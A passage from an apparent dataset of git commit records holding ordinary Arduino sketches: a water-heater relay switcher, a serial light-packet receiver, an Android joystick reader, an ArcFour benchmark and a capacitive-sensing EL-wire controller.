currentHeaterOn(){\n\tfor(int cnt = 0; cnt < WHCOUNT; cnt++){\n\t\tif(bitRead(waterHeatRun, cnt) == 1){\t\t\t\t\t\t\t\/\/Turn on the first water heater that indicated flow.\n\t\t\treturn cnt;\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/break the loop so only the highest priority heater is on.\n\t\t}\n\t}\n\treturn 0;\n}\n \nvoid switchWaterHeater(int toHeater){\n int stoHeater = toHeater;\/\/Temp variable \n\tif(stoHeater == -1){\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/If -1 we loop through normally. We can add a fancy algorithm if we would like.\n\t\tint curHeater = currentHeaterOn();\t\t\t\t\t\t\t\t\/\/Grab the current water heater that is on.\n\t\tstoHeater = curHeater + 1;\t\t\t\t\t\t\t\t\t\t\t\/\/Increment to the next one\n\t\tif(stoHeater >= WHCOUNT)\t\t\t\t\t\t\t\t\t\t\t\/\/Check for wrapping around to 0\n\t\t\tstoHeater = 0;\n\t}\n Serial.print(\"Switching to relay: \");\n Serial.println(stoHeater);\n\tfor(int cnt = 0; cnt < WHCOUNT; cnt++){\n\t\tdigitalWrite(relayControlPins[cnt], LOW);\t\t\t\t\t\t\/\/Turn off all water heaters\n\t}\n\twaterHeatRun = 0;\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/Reset heater on indication\n\tdigitalWrite(relayControlPins[stoHeater], HIGH);\t\t\t\t\t\t\/\/Turn on indicate water heater\n\tbitSet(waterHeatRun, stoHeater);\t\t\t\t\t\t\t\t\t\t\/\/Set heater on indication\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ProtoTestPython\/water-heater-manage.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0785f474b0fddb1a86c6721cc009226759ee927c","subject":"Implemented protocol except channel byte","message":"Implemented protocol except channel byte\n\nWill hopefully discuss the necessity of the channel byte at the next\ndev meeting.\n","repos":"SIGMusic\/aurora,SIGMusic\/tonal-lightfield,SIGMusic\/aurora","old_file":"receiver\/receiver.ino","new_file":"receiver\/receiver.ino","new_contents":"\/**\n * SIGMusic Lights 2015\n * Arduino receiver firmware\n *\/\n\n#define HEADER_LENGTH 6\n#define DATA_LENGTH 3\n#define CHECKSUM_LENGTH 1\n#define PACKET_LENGTH (HEADER_LENGTH + DATA_LENGTH + CHECKSUM_LENGTH)\n\n#define HEADER_INDEX 0\n#define DATA_INDEX (HEADER_LENGTH)\n#define CHECKSUM_INDEX (HEADER_LENGTH + DATA_LENGTH)\n\nconst uint8_t validHeader[] = {'S','I','G','M','U','S'};\n\nvoid setup() {\n \/\/Initialize serial over Bluetooth\n Serial.begin(9600);\n\n \/\/Initialize the built-in LED to output (for debugging)\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\nvoid loop() {\n static int currentIndex = 0; \/\/The packet index of the data we've received\n static uint8_t tempRGB[DATA_LENGTH] = {0};\n\n \/\/Wait for incoming data\n if (Serial.available()) {\n uint8_t receivedByte = Serial.read();\n\n if (currentIndex < HEADER_LENGTH) {\n \/\/We haven't yet received a valid header\n if (receivedByte == validHeader[currentIndex]) {\n Serial.print(\"Received valid header byte \");\n Serial.print(receivedByte);\n Serial.print(\" at index \");\n Serial.println(currentIndex);\n \/\/The received byte matches the header. Move to the next index.\n currentIndex++;\n } else {\n Serial.print(\"Received INVALID header byte \");\n Serial.print(receivedByte);\n Serial.print(\" at index \");\n Serial.println(currentIndex);\n \/\/The received byte doesn't match. Restart the state machine.\n currentIndex = 0;\n }\n } else {\n \/\/We have received a valid header\n if (currentIndex < CHECKSUM_INDEX) {\n Serial.print(\"Received data byte \");\n Serial.print(receivedByte, HEX);\n Serial.print(\" at index \");\n Serial.println(currentIndex);\n \/\/Store the temporary RGB values until we validate the checksum\n tempRGB[currentIndex - DATA_INDEX] = receivedByte;\n currentIndex++;\n } else {\n Serial.print(\"Received checksum \");\n Serial.print(receivedByte, HEX);\n Serial.print(\" at index \");\n Serial.println(currentIndex);\n \/\/Validate the checksum\n if (calculateChecksum(tempRGB) == receivedByte) {\n Serial.println(\"Checksum was valid\");\n \/* It's valid. Set the new RGB values and restart the state\n * machine.\n *\/\n setRGB(tempRGB[0], tempRGB[1], tempRGB[2]);\n currentIndex = 0;\n } else {\n Serial.println(\"Checksum was INVALID\");\n \/\/The checksum is invalid. Restart the state machine.\n currentIndex = 0;\n }\n }\n }\n }\n}\n\n\/**\n * Calculates the expected checksum of a received packet.\n * @param data The received data (RGB only)\n * @return The 8-bit checksum of the data\n *\/\nuint8_t calculateChecksum(uint8_t data[]) {\n uint8_t checksum = 0;\n for (int i = 0; i < DATA_LENGTH; i++) {\n checksum += data[i]; \/\/Relies on 8-bit integer overflow\n }\n return checksum;\n}\n\n\/**\n * Sets the RGB values to be output from the light.\n * @param red The new red value\n * @param green The new green value\n * @param blue The new blue value\n *\/\nvoid setRGB(uint8_t red, uint8_t green, uint8_t blue) {\n \/*\n * TODO: make this actually set the RGB values\n *\/\n digitalWrite(LED_BUILTIN, HIGH);\n delay(1000);\n digitalWrite(LED_BUILTIN, LOW);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'receiver\/receiver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddf253e4cb6de230c405b7a947886c36469dc001","subject":"Create readFromAndroid.ino","message":"Create readFromAndroid.ino","repos":"ieeesbuoi\/mobile,ieeesbuoi\/mobile,ieeesbuoi\/mobile","old_file":"readFromAndroid.ino","new_file":"readFromAndroid.ino","new_contents":"#include <SoftwareSerial.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nconst byte numChars = 32;\nchar receivedChars[numChars]; \/\/ an array to store the received data\n\nconst char s[2] = \",\"; \/\/ Character to split in the strtok function\nchar *token; \/\/ Strtok tockens\n\nint LeftJoy = 0; \/\/ Left joystick value\nint RightJoy = 0; \/\/ Right Joystick value\n\nvoid setup() {\n Serial.begin(9600);\n \n \/\/ Wait for the serial port to connect. Needed for native USB\n while (!Serial) { ; }\n delay(2000);\n Serial.println(\"Arduino is ready to receive...\");\n}\n\nvoid loop() {\n int charsRead;\n while (Serial.available() > 0) {\n charsRead = Serial.readBytesUntil('&', receivedChars, sizeof(receivedChars) - 1); \/\/ Read until '>' or 31 chars\n receivedChars[charsRead] = '\\0'; \/\/ Overwrite '>' to make it a string\n \n token = strtok(receivedChars, s);\n if (token != NULL) {\n RightJoy = atoi(token + 1);\n }\n token = strtok(NULL, s);\n if (token != NULL) {\n LeftJoy = atoi(token);\n }\n\n Serial.print(\"Left Stick: \");\n Serial.print(LeftJoy);\n Serial.print(\"\\t\\tRight Stick: \");\n Serial.println(RightJoy);\n Serial.println();\n \n \/\/ Clear receive buffer so we're ready to receive the next line\n receivedChars[0] = NULL;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'readFromAndroid.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d5a42e477b0d98b87cffc9e28c7a175f62d8c0ce","subject":"Add new benchmark example","message":"Add new benchmark example\n","repos":"pmjdebruijn\/Arduino-ArcFour-Library","old_file":"examples\/Benchmark\/Benchmark.ino","new_file":"examples\/Benchmark\/Benchmark.ino","new_contents":"\/*\n ArcFour Benchmark\n \n created 10 Jun 2014\n by Pascal de Bruijn\n \n *\/\n\n#include <ArcFour.h>\n\nArcFour ArcFour;\n\nstatic const long cycles = 1048576;\n\nunsigned long overhead_start;\nunsigned long overhead_stop;\nunsigned long overhead_runtime;\n\nunsigned long random_start;\nunsigned long random_stop;\nunsigned long random_runtime;\n\nunsigned long arcfour_start;\nunsigned long arcfour_stop;\nunsigned long arcfour_runtime;\n\nfloat factor;\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial)\n {\n ; \/\/ wait for serial port to connect. Needed for Leonardo and Due\n }\n \n ArcFour.initialize();\n \n for (int i = 0; i < ARCFOUR_MAX; i++)\n {\n ArcFour.seed(i, analogRead(0) % ARCFOUR_MAX);\n }\n \n ArcFour.finalize();\n \n for (int i = 0; i < ARCFOUR_MAX; i++)\n {\n ArcFour.random();\n }\n \n randomSeed(analogRead(0));\n}\n\nvoid loop()\n{\n Serial.println(\"\");\n \n Serial.print(\"Overhead \");\n \n overhead_start = micros();\n for (volatile long i = 0; i < cycles; i++)\n ;\n overhead_stop = micros();\n \n overhead_runtime = overhead_stop - overhead_start;\n Serial.print(overhead_runtime);\n Serial.println(\"us\");\n \n \n Serial.print(\"Random \");\n \n random_start = micros();\n for (volatile long i = 0; i < cycles; i++)\n random(256);\n random_stop = micros();\n \n random_runtime = random_stop - random_start;\n Serial.print(random_runtime);\n Serial.println(\"us\");\n \n \n Serial.print(\"ArcFour \");\n \n arcfour_start = micros();\n for (volatile long i = 0; i < cycles; i++)\n ArcFour.random();\n arcfour_stop = micros();\n \n arcfour_runtime = arcfour_stop - arcfour_start;\n Serial.print(arcfour_runtime);\n Serial.println(\"us\");\n\n \n Serial.print(\"Factor \");\n \n factor = (float)(random_runtime - overhead_runtime) \/ (float)(arcfour_runtime - overhead_runtime); \n Serial.print(factor);\n Serial.println(\"x\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Benchmark\/Benchmark.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc000e42185c435eb3f32d6c53f5b4777b3f79cc","subject":"more sensitive","message":"more sensitive\n","repos":"foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples","old_file":"button_multichannel_rf6\/button_multichannel_rf6.ino","new_file":"button_multichannel_rf6\/button_multichannel_rf6.ino","new_contents":"\/**********************************************************\n Fast PWM Test\nDemostrates the generation of high speed PWM\nusing timers 1 and 4\nThere are two pieces of code:\nOne for pins 9, 10 and 11 using TIMER 1\nwith frequencies up to 62kHz\nOther for pins 6 and 13 using TIMER 4\nwith frequencies up to 187kHz\nHistory:\n 12\/12\/2014 - Version 1.0\n 22\/12\/2014 - Adding a missing OCR4C value\n\n http:\/\/r6500.blogspot.com\/2014\/12\/fast-pwm-on-arduino-leonardo.html\n \n***********************************************************\/\n\n\/\/ https:\/\/web.archive.org\/web\/20140101032749\/http:\/\/coolarduino.wordpress.com\/2012\/09\/19\/quasi-real-time-oscilloscope-remix\/\n\n\n\n\/**********************************************************\n Fast PWM on pins 9,10,11 (TIMER 1)\n \n Do not use analogWrite to pins 9, 10 or 11 if using \n this functions as they use the same timer.\n \n Those functions will probably conflict with the \n servo library.\n \n Uses 5 PWM frequencies between 61Hz and 62.5kHz\n \n**********************************************************\/\n\n\n\n\n\/**********************************************************\n Fast PWM on pins 6, 13 (High Speed TIMER 4)\n \n Do not use analogWrite to pins 6 or 13 if using \n this functions as they use the same timer.\n \n Those functions will conflict with the \n MSTIMER2 library.\n Uses 7 PWM frequencies between 2930Hz and 187.5kHz\n \n Timer 4 uses a PLL as input so that its clock frequency\n can be up to 96MHz on standard Arduino Leonardo.\n We limit imput frequency to 48MHz to generate 187.5kHz PWM\n If needed, we can double that up to 375kHz\n**********************************************************\/\n\n\/\/ Frequency modes for TIMER4\n#define PWM187k 1 \/\/ 187500 Hz\n#define PWM94k 2 \/\/ 93750 Hz\n#define PWM47k 3 \/\/ 46875 Hz\n#define PWM23k 4 \/\/ 23437 Hz\n#define PWM12k 5 \/\/ 11719 Hz\n#define PWM6k 6 \/\/ 5859 Hz\n#define PWM3k 7 \/\/ 2930 Hz\n\n\/\/ Direct PWM change variables\n#define PWM6 OCR4D\n#define PWM13 OCR4A\n\n\/\/ Terminal count\n#define PWM6_13_MAX OCR4C\n\n\/\/ Configure the PWM clock\n\/\/ The argument is one of the 7 previously defined modes\nvoid pwm613configure(int mode)\n{\n\/\/ TCCR4A configuration\nTCCR4A=0;\n\n\/\/ TCCR4B configuration\nTCCR4B=mode;\n\n\/\/ TCCR4C configuration\nTCCR4C=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ PLL Configuration\n\/\/ Use 96MHz \/ 2 = 48MHz\n\/\/ PLLFRQ=(PLLFRQ&0xCF)|0x30;\n PLLFRQ=(PLLFRQ&0xCF)|0x10; \/\/ Will double all frequencies\n\n\/\/ Terminal count for Timer 4 PWM\nOCR4C=255;\n}\n\n\/\/ Set PWM to D6 (Timer4 D)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet6(int value)\n{\nOCR4D=value; \/\/ Set PWM value\nDDRD|=1<<7; \/\/ Set Output Mode D7\nTCCR4C|=0x09; \/\/ Activate channel D\n}\n\n\/\/ Set PWM to D13 (Timer4 A)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet13(int value)\n{\nOCR4A=value; \/\/ Set PWM value\nDDRC|=1<<7; \/\/ Set Output Mode C7\nTCCR4A=0x82; \/\/ Activate channel A\n}\n\n\/*************** ADDITIONAL DEFINITIONS ******************\/\n\n\/\/ Macro to converts from duty (0..100) to PWM (0..255)\n#define DUTY2PWM(x) ((255*(x))\/100)\n\n\/**********************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Pins \n\nint hvDigitalIn = 19; \/\/ pf6 -> A1 D19\nint hvClock = 18; \/\/ pf7 -> A0 D18\n\nint clearPin = 6; \/\/ pd7 -> A7 D6#\nint sense1 = A6; \/\/ pd4 -> A6 D4\nint sense2 = A11; \/\/ pd6 -> A11 D12\nint sense3 = 8; \/\/ pb4 -> A8 D8\nint sense4 = 9; \/\/ pb5 -> A9 D9\n\nint elEnable = 20; \/\/ pf5 -> A2 D20\n\nint detect = 5;\n\nint rxled = 30;\nint txled = 22;\nint rstled = 7;\n\n\/\/ This is hacky. \n\/\/ Work around from this changing when the program is loaded from the IDE. \nint capSenseFrequency = 1;\n\n\/\/ State \n\n#define channelCount 4\nint switched[] = {0, 0, 0, 0};\nbool glow[] = {true, true, true, true};\nbool allGlow[] = {true, true, true, true};\nbool noGlow[] = {false, false, false, false};\n\n#define prevValSize 50\nint prevVal[prevValSize][channelCount];\n\n#define sampleCount 3\nint sampleAll[channelCount][sampleCount];\nint sampleAllVal[channelCount];\n\nint samples[sampleCount];\nint sampleVal = 0;\n\n\/\/ Helpers \n\nint tempGlow[channelCount];\nbyte tempGlow_unroll[channelCount * 2];\nvoid switchOutputs(bool* glow) { \n \/\/ Make pins on the layout correspond to the pins on the switch \n tempGlow[2] = glow[0];\n tempGlow[3] = glow[1];\n tempGlow[1] = glow[2];\n tempGlow[0] = glow[3];\n\n \/\/ Process bit flips ahead of sending serial signal \n PORTF = PORTF | B10000000;\n for (int i = 0; i < 8; i++) {\n if (tempGlow[i \/ 2] == 1) { \n tempGlow_unroll[i] = PORTF | B01000000;\n }\n else { \n tempGlow_unroll[i] = PORTF & B10111111;\n }\n }\n \n for (int i = 0; i < 8; i++) {\n PORTF = tempGlow_unroll[i];\n \/\/ digitalWrite(hvClock, LOW); \n PORTF = PORTF & B01111111;\n \/\/ digitalWrite(hvClock, HIGH);\n\/\/ PORTF = PORTF | B10000000;\n }\n PORTF = PORTF | B10000000;\n\n \n}\n\nbool isSense_active[] = {true, true, true, true};\nvoid switchHalfOutputsA() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF | B01000000;\n \/\/ PORTF = PORTF | (isSense_active[i] << 6);\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\nvoid switchHalfOutputsB() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF | B01000000;\n \/\/ PORTF = PORTF | (isSense_active[i] << 6);\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\n\/\/ This could be fancier...\nvoid sort(int *a, int len)\n{\n for (int i = 1; i < len; ++i)\n {\n int j = a[i];\n int k;\n for (k = i - 1; (k >= 0) && (j < a[k]); k--)\n {\n a[k + 1] = a[k];\n }\n a[k + 1] = j;\n }\n}\n\n\/\/ This mutates the input array! Beware!\nfloat getMedian(int* array, int len) { \n\/\/ int len = sizeof(array);\n sort(array, len); \n float tempVal = 0;\n return array[(len \/ 2) + 1];\n \n\/\/ for (int i = (len \/ 2) - 1; i < (len \/ 2) + 2; i++) {\n\/\/ tempVal += array[i];\n\/\/ }\n\/\/ return tempVal \/ 3;\n}\n\nvoid ledsOff() {\n digitalWrite(rxled, LOW);\n digitalWrite(txled, LOW);\n digitalWrite(rstled, LOW);\n}\n\nvoid ledsOn() {\n digitalWrite(rxled, HIGH);\n digitalWrite(txled, HIGH);\n digitalWrite(rstled, HIGH);\n}\n\nunsigned long microsdelay;\n\n\/\/ Arduino I\/O is real slow. Opaque bitwise port manipulation ftw!\nint adcSensePorts[] = {B00000000, B00000001, B00000011, B00000100};\n\n\/\/ this is internal, use the interface functions below!\nbool toSense_internal[] = {true, true, true, true};\nint senseResults_internal[] = {0, 0, 0, 0};\n\nvoid initSense_withResistor(){ \n \/\/ listen to resistor\n\n switchOutputs(noGlow);\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n delayMicroseconds(100);\n \n\/\/ microsdelay = micros();\n while(bitRead(PINC, 6));\n switchOutputs(allGlow);\n switchHalfOutputsA();\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n\n\n switchOutputs(noGlow);\n delayMicroseconds(30);\n\n\/\/ microsdelay = micros() - microsdelay;\n}\n\nint spinner = 0;\nvoid initSense_withoutResistor() { \n \/\/ Hacky. Allows charge to disappate faster - kills flicker.\n\n\/\/ switchOutputs(allGlow);\n\/\/ microsdelay = 0;\n\/\/ while(bitRead(PINC, 6) || microsdelay < 20){\n\/\/ microsdelay++;\n\/\/ }\n \/\/ digitalWrite(elEnable, LOW);\n PORTF = PORTF & B11011111;\n for (int i = 0; i < 70; i++) {\n switchHalfOutputsA();\n spinner = 0;\n while(spinner < 50) { \n spinner++;\n }\n \n switchHalfOutputsB();\n spinner = 0;\n while(spinner < 50) { \n spinner++;\n }\n }\n\n \/\/ Make EL lamps float \n switchOutputs(noGlow);\n delayMicroseconds(30);\n}\n\nvoid senseChannels_internal(int chargeDelay_micros = 1000) { \n noInterrupts();\n \n \/\/ make sure pwm oscillator is running.\n pwm613configure(capSenseFrequency);\n pwmSet13(127);\n \n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n\n if (chargeDelay_micros < 1) {\n chargeDelay_micros = 1000;\n }\n \n\/\/ Set ADC initialization bits - make sure things haven't gotten misconfigured. \n \/\/ 6: right adjust bits \/\/ last 5 bits select ADC.\n ADMUX = adcSensePorts[3];\n \/\/ high speed mode \/ 0 \/ analog selection, extra bit.\n ADCSRB = B10100000;\n \/\/ disable adc\n ADCSRA = B00000110;\n\n initSense_withoutResistor();\n\n\/\/ Begin measurement sequence\n \/\/ digitalWrite(clearPin, LOW);\n PORTD = PORTD & B01111111;\n \n delayMicroseconds(chargeDelay_micros);\n\/\/ start measurement\n\/\/ Go backwords so that channel 4 has the lowest sensitivity and 1 has the highest.\n for(int i = 3; i >= 0; i--) {\n if (toSense_internal[i]) {\n \/\/ enable \/ start \/ auto trigger \/ interrupt flag \/ interrupt enable \/\/\/ scale \/\/\/ p.315\n ADCSRA = B11000110;\n delayMicroseconds(50);\n ADMUX = adcSensePorts[(i + 3) % 4];\n while ((ADCSRA & B01000000));\n sampleVal = ADCL; \/\/ store lower byte ADC\n sampleVal += ADCH << 8; \/\/ store higher bytes ADC\n senseResults_internal[i] = sampleVal;\n }\n else { \n ADMUX = adcSensePorts[(i + 3) % 4];\n senseResults_internal[i] = -1;\n }\n }\n\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n interrupts();\n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n return;\n}\n\n\/\/ Sensing interfaces! \n\/\/ Note that the channel here corresponds to the number written on the board, \n\/\/ which is shifted up by one from the indicies in the senseResults array.\nint senseChannel(int channel, int chargeDelay_micros = 1000, bool isGlow = true) {\n if (channel < 0 || channel > 4) { \n Serial.println(\"Warning: you might not be measuring the channel you intend to!\");\n ledsOn();\n }\n channel = (channel - 1) % 4; \/\/ sanitize your inputs. \n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = false; \n }\n toSense_internal[channel] = true;\n senseChannels_internal(chargeDelay_micros);\n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal[channel];\n}\n\nint* senseAll(int chargeDelay_micros = 1000, bool isGlow = true) {\n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = true; \n }\n senseChannels_internal(chargeDelay_micros);\n \n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal;\n}\n\n\nint inactiveMeasure[channelCount];\nint activeProbe = 0;\n\/\/ This function saves a bit of time by not measuring \"inactive\" channels each cycle. \n\/\/ Makes the measurement go a bit faster, i.e. makes the EL dohickey brighter!\nint* senseAllActive(int chargeDelay_micros = 1000, bool isGlow = true) {\n activeProbe = (activeProbe + 1) % channelCount;\n for (int i = 0; i < 4; i++) { \n if (isSense_active[activeProbe]) {\n activeProbe = (activeProbe + 1) % channelCount;\n }\n else { \n break;\n }\n }\n \n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = isSense_active[i]; \n if (i == activeProbe) { \n toSense_internal[i] = true;\n }\n }\n senseChannels_internal(chargeDelay_micros);\n \n if (isGlow) { \n switchOutputs(glow);\n }\n\n \/\/ Change threshold for activating, might want to make this smaller?\n if (inactiveMeasure[activeProbe] - senseResults_internal[activeProbe] > 100) { \n isSense_active[activeProbe] = true;\n }\n else { \n inactiveMeasure[activeProbe] = senseResults_internal[activeProbe];\n }\n \n for (int i = 0; i < 4; i++) { \n if (!toSense_internal[i]) { \n senseResults_internal[i] = inactiveMeasure[i];\n }\n }\n\n \/\/ Serial.println(isSense_active[2] << 6);\n \n return senseResults_internal;\n}\n\n\/\/ The ardunio IDE insists on changing the frequency of the fast pwm when the board is programmed\n\/\/ This is a hack that accounts for that. \nvoid ensureCorrectFrequency() {\n switchOutputs(noGlow);\n ledsOff();\n\n capSenseFrequency = PWM187k;\n int read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n\/\/ Serial.print(\"187: \");\n\/\/ Serial.println(read187k);\n \n \n capSenseFrequency = PWM94k;\n int read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n\/\/ Serial.print(\"94: \");\n\/\/ Serial.println(read94k);\n\n if (read94k > read187k) { \n capSenseFrequency = PWM94k;\n digitalWrite(rxled, HIGH);\n if (read94k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n else{ \n capSenseFrequency = PWM187k;\n digitalWrite(rstled, HIGH);\n if (read187k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n ledsOff();\n}\n\n\/\/\/\/\/\/\/\/\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\/\/\/\/\/\/\/\/\/\/\/\n\nint* senseResults;\n\nvoid setup() {\n Serial.begin(9600); \n\n \/\/ hvSwitch communication\n pinMode(hvDigitalIn, OUTPUT);\n pinMode(hvClock, OUTPUT);\n\n pinMode(clearPin, OUTPUT);\n digitalWrite(clearPin, LOW);\n\n pinMode(10, OUTPUT);\n\n \n pinMode(elEnable, OUTPUT);\n digitalWrite(elEnable, HIGH);\n\n pinMode(detect, INPUT);\n\n pinMode(sense1, INPUT);\n pinMode(sense2, INPUT);\n pinMode(sense3, INPUT);\n pinMode(sense4, INPUT);\n\n pinMode(rxled, OUTPUT);\n pinMode(txled, OUTPUT);\n pinMode(rstled, OUTPUT); \n \n analogReference(DEFAULT);\n \n \/\/ this should be called after the clear pin is set low\n ensureCorrectFrequency();\n\n \/\/ Disables channels without EL plugged in. \n senseResults = senseAll(2300, true);\n for (int i = 0; i < 4; i++) {\n if (senseResults[i] > 620) { \n inactiveMeasure[i] = senseResults[i];\n isSense_active[i] = false;\n }\n }\n}\n\n\/\/ Do this instead of using a bunch of individual Serial.print statements to save time!\n\/\/ If your wire starts flashing when you are logging, this might be why!\n#define printLineSize 200\nchar logBuffer[printLineSize];\nchar tempLogBuffer[printLineSize];\n\n\n #define ENABLE_LOGGING\n\n#ifdef ENABLE_LOGGING\n\n#define subBufferSize 50\nchar signalBuffer[subBufferSize];\nchar impulseBuffer[subBufferSize];\n\/\/ These are in reference to the impulse, which is itself a funny denoising derivative-y thing\nchar extraBuffer[subBufferSize];\nchar derivativeBuffer[subBufferSize];\n\n#endif\n\nint val = 0;\n\nint minimum = 10000;\nint maximum = 0;\n\n#define senseSize 23\nint senseHistory[channelCount][senseSize];\nint senseHistoryTemp[senseSize];\nint senseHistoryIter = 0;\n\nbool isTouched = false;\nbool whereTouched[] = {false, false, false, false};\n\nfloat change = 0;\n\nbool shouldGlow = true;\n\nbool isOn = true;\nbool justSwitched = false;\nint switchedCount = 0;\n\n#define smoothedSenseSize 21\nint smoothedSenseHistory[channelCount][smoothedSenseSize];\nint smoothedSenseIter = 0;\n\n\n#define smoothedTouchWindow 4\nfloat smoothedSampleMedian = 0;\nfloat smoothedSampleMin = 0;\nfloat smoothedSampleNew = 0;\nint smoothedSampleTemp[smoothedSenseSize - smoothedTouchWindow];\n\nint channelMean[] = {0, 0, 0, 0};\nint chanImpulse; \nint chanPrevImpulse;\nint chanChangeCount;\n\n\/\/ Here are the main levers which control the operation of this program\n#define increaseWindow 13\n#define pureIncreaseThreshold 5\n#define increaseThresholdWithImpulse 3\n#define impulseThreshold 3\n#define bigImpulseThreshold 6\n#define glowTime_us 1700\n\nvoid loop() {\n senseResults = senseAllActive(1500, true);\n \n smoothedSenseIter = (smoothedSenseIter + 1) % smoothedSenseSize;\n\n\n \/\/ Get new smoothed value\n for (int channel = 0; channel < channelCount; channel++) { \n senseHistory[channel][senseHistoryIter] = senseResults[channel];\n senseHistoryIter++;\n if (senseHistoryIter == senseSize) { \n senseHistoryIter = 0;\n }\n\n for (int i = 0; i < senseSize; i++) {\n senseHistoryTemp[i] = senseHistory[channel][i];\n }\n\n sort(senseHistoryTemp, senseSize);\n \n smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[0];\n\n int diff = 0;\n int skipcount = 0;\n for (int i = 0; i < 5; i++) {\n diff = senseHistoryTemp[i + 1] - senseHistoryTemp[i];\n if (diff > 6) { \n smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[i + 1];\n break;\n }\n }\n\n\n\/\/ if(senseHistoryIter==0 && channel == 2){\n\/\/ for(int i=0; i<25; i++){\n\/\/ Serial.print(senseHistoryTemp[i]);\n\/\/ Serial.print(\", \");\n\/\/ }\n\/\/ Serial.println();\n\/\/ \n\/\/ }\n \n }\n\n for (int channel = 0; channel < channelCount; channel++) { \n channelMean[channel] = (channelMean[channel] * 2 + \n smoothedSenseHistory[channel][(smoothedSenseIter + 1 + smoothedSenseSize) % smoothedSenseSize]) \/ 3;\n\n chanImpulse = channelMean[channel] - smoothedSenseHistory[channel][smoothedSenseIter];\n chanPrevImpulse = channelMean[channel] - smoothedSenseHistory[channel][(smoothedSenseIter + smoothedSenseSize - 1) % smoothedSenseSize];\n chanChangeCount = 0;\n\n int senseDiff;\n for (int steps = 0; steps < increaseWindow; steps++) {\n senseDiff = smoothedSenseHistory[channel][(smoothedSenseIter - (steps + 1) + smoothedSenseSize) % smoothedSenseSize]\n - smoothedSenseHistory[channel][(smoothedSenseIter - (steps) + smoothedSenseSize) % smoothedSenseSize];\n \n if (senseDiff > 0) {\n chanChangeCount += 1; \n }\n\/\/ if (senseDiff < -5) {\n\/\/ chanChangeCount = -1; \n\/\/ break;\n\/\/ }\n }\n\n if (chanChangeCount == impulseThreshold + 1) { \n chanImpulse += 5;\n }\n \n \n if (switchedCount == 0 && isSense_active[channel] &&\n ((chanImpulse > impulseThreshold && chanChangeCount >= increaseThresholdWithImpulse) ||\n (chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse) ||\n (chanChangeCount >= pureIncreaseThreshold)) ){\n isTouched = true;\n whereTouched[channel] = true;\n#ifndef ENABLE_LOGGING\n sprintf(logBuffer, \"Switched channel: %d Measurement: %d Impulse: %d Adj transition count: %d Big Impulse: %d\",\n channel, smoothedSenseHistory[channel][smoothedSenseIter], chanImpulse, chanChangeCount, chanImpulse > bigImpulseThreshold);\n Serial.println(logBuffer);\n#endif\n }\n\n#ifdef ENABLE_LOGGING\n\n \/\/ EXEX - Logging inline - pull into a function!\n int tailMeanlen;\n int derivativelen;\n int impulselen;\n\n switch (channel) {\n case 0:\n impulselen = sprintf(impulseBuffer, 